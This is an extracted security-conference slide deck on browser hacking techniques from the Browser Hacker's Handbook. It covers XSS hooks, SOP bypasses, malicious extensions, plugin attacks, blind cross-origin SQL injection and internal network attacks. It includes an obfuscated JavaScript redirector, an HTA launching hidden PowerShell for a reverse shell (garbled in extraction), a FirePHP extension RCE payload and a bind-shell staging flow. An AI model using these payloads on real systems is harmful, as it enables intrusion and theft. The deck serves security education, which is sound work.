Browser Hacking in 2014

antisnatchor

21 May 2014
Who am I

• Co-author of Browser Hacker’s Handbook
• BeEF lead core developer
• Application Security researcher
• Ruby, Javascript, OpenBSD and BlackMetal fan
The Browser Hacker’s Handbook

- The Browser Hacker’s Handbook is the first (real) compendium of browser hacking techniques
  - Focused on practical attacks
- Other suggested reading:
  - Zalewski: The Tangled Web
  - Heiderich et al.: Web Application Obfuscation
Browser Hacking Methodology
Initiating Control
Initiating Control

• Mandatory phase

• The browser must encounter & execute instructions under your control

• Trick, entice, fool or force the browser to achieve what you want
Initiating Control

• Cross-site Scripting
  – Reflected, Stored, DOM-based, Universal-XSS

• Compromised Webapps (see botnets)

• Advertisement networks

• Social Engineering attacks
  – Phishing, Baiting

• Man in the Middle
  – ARP Spoofing, DNS Poisoning
Retaining Control

Retaining

Retaining Control
Chapter 3

Initiating

Initiating Control
Chapter 2

Attacking

Bypassing the Same Origin Policy
Chapter 4

Attacking Users
Chapter 5

Attacking Extensions
Chapter 7

Attacking Web Applications
Chapter 9

Attacking Browsers
Chapter 6

Attacking Plugins
Chapter 8

Attacking Networks
Chapter 10
Retaining Control

• Having the browser executing your instructions just once isn’t that useful..

• You can’t loose Control
  (RIP Ian Curtis – Joy Division)
Retaining Control

• Retaining Communication
  – Bi-directional channel between browser-server
    • XMLHttpRequest polling
    • WebSockets
    • DNS tunneling (yes, entirely in JavaScript)

• Retaining Persistence
  – Overlay iFrames
  – Browser events and Pop-under windows
  – Man-in-the-Browsers
  – Browser Extensions
Retaining Control

• Evading detection
  – You really do Regex variable names like ‘beef’??

```ruby
loop
  develop_evasion()
  use_it_in_the_wild()
  sleep 10
  defenders_become_aware()
  sleep 20
  defenders_implement_detection()
end
```
Retaining Control

- Whitespace encoding
Retaining Control

• Timeouts (old malware tricks still work in JS)

```javascript
var uxGfLVC = {
    sXCrv: 'ZEpXkhxSMz',
    egCSx: new Array("\x68\x74\x74\x70\x3A\x2F\x2F"+
    "\x6D\x61\x6C\x69\x69\x6F"+
    atob("dXMuY35f34fgdkFhLmpz"['replace'](/
    /35f34fgdk/, '29tL2')),""),
    LctUZLQnJ_gp: true
};

window['uxGfLVC'] = uxGfLVC;
function HrhB(){
    window['lo'+ 'ca'+'ution'['replace'](
    /ution/,'tion')] = window.uxGfLVC['egC '+
    'Sx'] [0];
};
HrhB();
```
Retaining Control

• HTTP proxy gateway implements SpiderMonkey (FF) or V8 (C) to inspect potentially malicious JS executing it

```javascript
if('\v'=='v'){
    ... // Malicious code for IE browser
}
else{
    ... // Dead and Not-Malicious code for non-IE browsers
}
```
Bypassing the Same Origin Policy

- Initiating
  - Initiating Control (Chapter 2)

- Retaining
  - Retaining Control (Chapter 3)

- Attacking
  - Bypassing the Same Origin Policy (Chapter 4)
  - Attacking Users (Chapter 5)
  - Attacking Extensions (Chapter 7)
  - Attacking Web Applications (Chapter 9)
  - Attacking Browsers (Chapter 6)
  - Attacking Plugins (Chapter 8)
  - Attacking Networks (Chapter 10)
Bypassing the Same Origin Policy

• Most important security control
• Most inconsistently implemented
• Most broken and bypassed

• Looks like every browser and plugin vendor implements in a different way

• SOP bypasses lead to very bad things!!
Bypassing the Same Origin Policy

• Implemented in slightly (sometimes significant) different ways in
  – Major browsers
  – Java, Adobe Reader/Flash, Silverlight and others

• Some SOP bugs are stupidly simple
  – Java: Two hosts are considered equivalent if both host names can be resolved into the same IP addresses [...].
Bypassing the Same Origin Policy

• Some SOP bugs are stupidly simple (Java)
  – Two hosts are considered equivalent if both host names can be resolved into the same IP addresses [...].
    Browserhacker.com <-> 10.10.10.10
    Browservictim.com <-> 10.10.10.10
  – For Java those domains are same-origin.
  – Virtual Hosting mayhem
Bypassing the Same Origin Policy
Bypassing the Same Origin Policy

• Some SOP bugs are stupidly simple (Safari)
  – By the SOP, http://localhost != file://localhost
  – Safari up to 6.0.2 (last version tried) considers
    http://localhost === file://localhost
  – Send Social Engineering victim with HTML file
    attached containing <script src='http://beef_hook'></script>,
    you have a full HTTP proxy ;-)}
Bypassing the Same Origin Policy

```
<html>
<body>
  <h1> I'm a local file loaded using the file:// scheme </h1>
  <script>
    xhr = new XMLHttpRequest();
    xhr.onreadystatechange = function (){
      if (xhr.readyState == 4) {
        alert(xhr.responseText);
      }
    };
    xhr.open("GET",
    "http://browserhacker.com/pocs/safari_sop_bypass/different_orig.html");
    xhr.send();
  </script>
</body>
</html>
```
Attacking Users
Attacking Users

• Humans are often referred to as the weakest link in information security:
  – Is it our inherent desire to be ‘helpful’?
  – Perhaps it’s our inexperience
  – Or, is it simply our (often) misplaced trust in each other?
Attacking Users

- Bring on your Social Engineering skills
  - Fake Software Updates
  - The rebirth of Clippy (Heretic Clippy)
  - Signed Applets (RIP)
  - Firefox Extensions
  - Abusing UI Expectations (popping IE 8/9/10)
  - Good old HTA (popping through IE 8/9/10)
Attacking Users

• Good old HTA
Attacking Users

• Good old HTA
Atacking Users

- Publisher: Microsoft Windows
- Trick the user to Allow execution
- You can get reverse shell with a classic Powershell payload (from Vista/Win7/Win8)
  - Shellcode never touches the disk (fucks AVs..)

```plaintext
get "\application.hta" do
"<script>
var c = "cmd.exe /c powershell.exe -w hidden -nop -ep bypass \
-c "\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\nend"```
Attacking Users

- Tricking users into installing malicious Firefox/Chrome extensions
Attacking Users

• Pwning with malicious Firefox Extensions and Signed Java Applets

• Video: From XSS to reverse shell with BeEF
  – Also mentioned in the Trail of Bits CTF guide:
    https://trailofbits.github.io/ctf/web/exploits.html
Attacking Browsers
Attacking Browsers

• Lots of different engines
  – Webkit, SpiderMonkey, Trident, Presto, Blink…
• Lots of fun (and fuzzing...)
Attacking Browsers

• (Some) recent browsers implement sandboxing: Chrome, IE 11
  – One Use-After-Free in the JS engine or HTML parser won’t be enough to execute code
  – There are sandbox bypasses in the wild

• Firefox at the moment has no sandbox, hence Firefox is a great target
  – regenrecht and nils FTW
Attacking Browsers

• Use-After-Free basics
  
  – Some memory location is referenced after it was freed

1

<body>
<textarea id="txt_area_id" rows=10> foobar </textarea>
</body>

2

var first_element = document.getElementsByTagName("textarea");
var second_element = document.getElementById("txt_area_id");

3

second_element.parentNode.removeChild(txt_area_id);

Free'ing some memory...

4

var filler = new String("\u4242424242");
for(var c=0; c < 20000; c++) filler += "\u4242424242";
first_element.innerHTML = filler;

Deallocated memory pointer, ready to be filled ;(-)
Attacking Browsers

  - https://bugzilla.mozilla.org/show_bug.cgi?id=814001
  - Affected Firefox
  - Discovered by regenrecht

- A random comment from a Firefox guy:

  ![Comment](image-url)
Attacking Browsers

• Some good links about Browser fuzzing:
  – Miaubiz (http://www.youtube.com/watch?v=r4jBVxU80lc)
  – Stephen Fewer (https://github.com/stephenfewer/grinder)
Attacking Extensions

Initiating
Initiating Control
Chapter 2

Retaining
Retaining Control
Chapter 3

Attacking
Bypassing the Same Origin Policy
Chapter 4

Attacking Users
Chapter 5

Attacking Browsers
Chapter 6

Attacking Extensions
Chapter 7

Attacking Plugins
Chapter 8

Attacking Networks
Chapter 10

Attacking Web Applications
Chapter 9
Attacking Extensions

• Firefox Architecture
  – Bootstrapped extension -> reverse shell
Attacking Extensions

• Fun with FirePHP

FirePHP enables you to log to your Firebug Console using a simple PHP method call.

All data is sent via response headers and will not interfere with the content on your page.

FirePHP is ideally suited for AJAX development where clean JSON and XML responses are required.
Attacking Extensions

• FirePHP Firefox Extension RCE (< 0.7.2)
  – Browse to browserhacker.com, response:

```
HTTP/1.1 200 OK
Date: Thu, 08 Aug 2013 14:18:44 GMT
Server: Apache
Last-Modified: Fri, 29 Mar 2013 22:45:39 GMT
ETag: "401b9-0-4d91807c0760e"
Accept-Ranges: bytes
Content-Length: 0
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Content-Type: text/html
X-Wf-Protocol-1: http://meta.wildfirehq.org/Protocol/JsonStream/0.2
X-Wf-1-Plugin-1: http://meta.firephp.org/Wildfire/Plugin/FirePHP/
Library-FirePHPCore/0.3
X-Wf-1-Structure-1: http://meta.firephp.org/Wildfire/Structure/FirePHP/
Dump/0.1
X-Wf-1-1-1-1: 29 | ["Browser Hacker's Handbook"] |
```
Attacking Extensions

• FirePHP Firefox Extension RCE
  – That highlighted HTTP response header value gets reflected into the extension content: go XUL
  – Running XUL in chrome://zone => BOOM

```html
Content-Type: text/html
X-Wf-Protocol-1: http://meta.wildfirehq.org/Protocol/JsonStream/0.2
X-Wf-1-Plugin-1: http://meta.firephp.org/Wildfire/Plugin/FirePHP/
Library-FirePHPCore/0.3
X-Wf-1-Structure-1: http://meta.firephp.org/Wildfire/Structure/FirePHP/Dump/0.1
X-Wf-1-1-1-1: 476|{"RequestHeaders":{"1":"1","2":"2","3":"3","4":"4","5":"5","6":"6","7":"7","8":"8","9":"9"},"UR<script>var lFile=Components.classes
["@mozilla.org/file/
local;1"].createInstance
(Components.interfaces.nsILocalFile);lFile.initWithPath
("/Applications/Calculator.app/Contents/Macos/Calculator\")};var process=
Components.classes["@mozilla.org/process/util;1"]
.createInstance(Components.interfaces.nsIProcessing);process.init(lFile);
process.run(true,[],0);void(0);</script>"="PWND}}|
```
Attacking Extensions

- FirePHP Firefox Extension RCE (also in BeEF)
  - Calc Popped!!
Attacking Extensions

• Patch was pretty easy:
Attacking Extensions

• Google Chrome Extensions
  – Manifest v1: no Content Security Policy
    • XSS’able extensions mayhem
    • So much fun
  – Manifest v2: Content Security Policy applied
    • Stops 99% of the XSS mayhem
  – After Chrome 18, extensions can be installed only from the `chrome.google.com` origin 😞
  – Backdoor’d extensions are still a big problem
Attacking Extensions

• Tricking the user into installing your malicious Chrome Extension leads to:
  – Getting EVERY cookie (yes, HttpOnly too)
  – Getting EVERY HTTP request/response
  – Getting a full HTTP(S) proxy
  – Persistent browser backdoor
    • Until the extension is installed and the browser is open
Attacking Extensions

• Video: Backdooring Chrome Extensions for fun and profit
  – Google does very few checks when uploading to the Chrome AppStore
Attacking Plugins
Attacking Plugins

• Preferred way to create botnets
  – Java, Flash, PDF, Real, VLC bugs

• Sometimes useful to for ROP chains
  – Java plugin non-ASLR’d

• Not that useful anymore, at least in Chrome and Firefox, thanks to Click-to-Play.
Attacking Plugins

• Java 1.7 from update 11 in early 2013
  – Signed and UNSIGNED applets need Click-to-Play
  – From Java 1.7 update 51 every applet must be signed with a valid cert (unsigned banned too)
  – Many people still run 1.6 though, or vulnerable versions of 1.7
    • Botnet creators are still quite happy, but...BROWSER click-to-Play kills the bugs.
    • YES, there is Java CtP AND browser CtP..2 clicks more!
Attacking Plugins

• Java Click-to-Play (unsigned applet prompt)
Attacking Plugins

• Java Click-to-Play bypassed (kudos Immunity)
Attacking Plugins

- Firefox click-to-play bypassed
Attacking Plugins

• All these bypasses are now patched (there might be other 0days in the wild)

• Still, Click-to-Play really decreases the effectiveness of attacking plugins
  – Unless your browser is Internet Explorer 😊
Attacking Web Applications
Attacking Web Applications

• In most situations the Same Origin Policy (SOP) prevents you from reading the HTTP response when sending cross-origin requests.

• Fair enough...what if I just want to send the request, and I don’t care about the response? – ALL GOOD THEN!
Attacking Web Applications

Chrome 26: Network tab

- xhr?param=value
  - browserhacker.com
    - GET
    - (cancel... Pending)
    - XHR-x-domain.html
    - Script
    - 13 B
    - 484 ms

- xhr
  - browserhacker.com
    - POST
    - (cancel... Pending)
    - XHR-x-domain.html
    - Script
    - 13 B
    - 483 ms

Chrome 26: Console tab


Ruby server logs: the requests arrive correctly.

POST from [Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/26.0.1410.65 Safari/537.31]
"[+] Content-Type [text/plain]"
"[+] Body [a001 LIST \r\n]"
GET from [Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/26.0.1410.65 Safari/537.31]
[+] Request params [param -> value]
Attacking Web Applications

• The request can be sent “blindly”
• (Without a SOP bypass) you can’t exploit from the browser Directory-Traversal or other kind of injections where you require to read the response
• What you CAN exploit:
  – RCE, XSS, SQL injection (with Time-based blind techniques) and more…
Attacking Web Applications

• Time-based blind SQLi vectors can always be used (MSSQL, MySQL, PostgreSQL mostly)
  – You can monitor the timing of your requests cross-origin (without any SOP violations)
  – If request timing is > average timing => injectable
Attacking Web Applications

• With MSSQL it’s even better
  – Concurrent WAITFOR statements are handled in a thread-pool
  – You can parallelize data dumping from the hooked browser using multiple WebWorkers
  – The source IP of the attacks is the hooked browser
  – Imagine doing this from a backdoor’d Chrome extension -> it’s like SQLmap 😊
Attacking Web Application

Uncaught Error: NETWORK_ERR: XMLHttpRequest Exception 101
Waiting for workers to complete...Successful workers done [17]
Waiting for workers to complete...Successful workers done [17]
Retrieved char [52] at position [18]
Workers done [5]. DataLength [18]

7 Uncaught Error: NETWORK_ERR: XMLHttpRequest Exception 101
Successful workers done [18]
Finishing...
Database name is: sql_Injection_1234
Total time [44.043] seconds.
Attacking Web Applications
Attacking Web Applications

• You can also exploit Remote Command Execution blindly
  – DNS hijack routers
  – All Jboss JMX-related bugs (jsp -> reverse shell)
  – Glassfish (jsp -> reverse shell)
  – M0n0wall RCE (php -> reverse shell)

• All blindly, cross-origin, not from your browsers, and without XSS
Attacking Networks

- **Initiating**
  - Initiating Control
    - Chapter 2

- **Retaining**
  - Retaining Control
    - Chapter 3

- **Attacking**
  - Bypassing the Same Origin Policy
    - Chapter 4
  - Attacking Users
    - Chapter 5
  - Attacking Extensions
    - Chapter 7
  - Attacking Web Applications
    - Chapter 9
  - Attacking Browsers
    - Chapter 6
  - Attacking Plugins
    - Chapter 8
  - Attacking Networks
    - Chapter 10
Attacking Networks
Attacking Networks

• From JavaScript you can:
  – Get the hooked browser internal IP address
    • Back in the days: unsigned Java applet
    • Nowadays: WebRTC (Firefox/Chrome)
  – Ping Sweeping
    • Identify which hosts in the subnet are alive
  – Port scanning
    • Port-banning limitation 😞
Attacking Networks

• What about attacking non-HTTP services from HTTP?
  – Error tolerance of the target protocol
    • Receiving garbage the socket isn’t closed
    • Mostly ASCII protocols: IMAP, SMTP, POP, JETDIRECT, FAX-related, SCADA-related, etc..
  – Dealing with data encapsulation
    • POST request with text/plain content-type
Attacking Networks

• IMAP example (Eudora):

```
>>> POST /abc.html HTTP/1.1
Host: 172.16.37.151:143
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:21.0) Gecko/20100101 Firefox/21.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Connection: keep-alive
Content-Type: text/plain
Content-Length: 44

data1=a01 login root password
a002 logout
<<< POST BAD command "/abc.html" unrecognized or not valid in the current state
<<< Host: BAD command "172.16.37.151:143" unrecognized or not valid in the current state
<<< Accept: BAD command "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8" unrecognized
<<< Accept-Encoding: BAD command "gzip," unrecognized or not valid in the current state
<<< DNT: BAD command "1" unrecognized or not valid in the current state
<<< Content-Type: BAD command "text/plain" unrecognized or not valid in the current state

>>> data1=a01 LOGIN root ********
<<< data1=a01 NO LOGIN root username/password incorrect
<<< * BYE IMAP4 Server logging out
a002 OK LOGOUT completed
```

HTTP Headers are parsed as bad commands.

POST body contains valid commands.
Attacking Networks

• Printing for fun (thanks jetdirect)
Attacking Networks

• Printing for fun (thanks jetdirect)
Attacking Networks

• BeEF Bind
  – Staging bind shellcode for 32/64 bit Windows/Linux
  – Works as a WebServer
    • Send the small stager with the first POST request that is exploiting the bug
    • Stager runs in memory, binds a socket on port X
    • Second POST request to port X with stage
    • The server replies with Access-Control-Allow-Origin: *
Attacking Networks

- Cross-origin Interaction with BeEF Bind:
Attacking Networks
• Without BeEF Bind (classic reverse shell)

1. Inject the BeEF hook
2. JavaScript Ping Sweeping and Port Scanning on the internal network, looking for port 3000/tcp open.
3. ‘Blindly’ send exploit with Shellcode Stager
4. Stager executes and opens a reverse TCP connection.
5. Metasploit reverse handler sends the Stage back.
6. Direct communication between Internet system and intranet system.

ActiveFax 5.01
Attacking Networks

• With BeEF Bind (more stealthy)

1. Inject the BeEF hook
2. JavaScript Ping Sweeping and Port Scanning on the internal network, looking for port 3000/tcp open.
3. 'Blindly' send exploit with Shellcode Stager
4. Send Stage
5. ActiveFax 5.01
   - Port 4444
   - LISTENING
6. Send commands to BeEF Bind Shellcode
   - POST / HTTP/1.1
   - HOST: target
   - cmd=netstat -na
Conclusions

CISSP?  No, thanks.  I prefer vodka.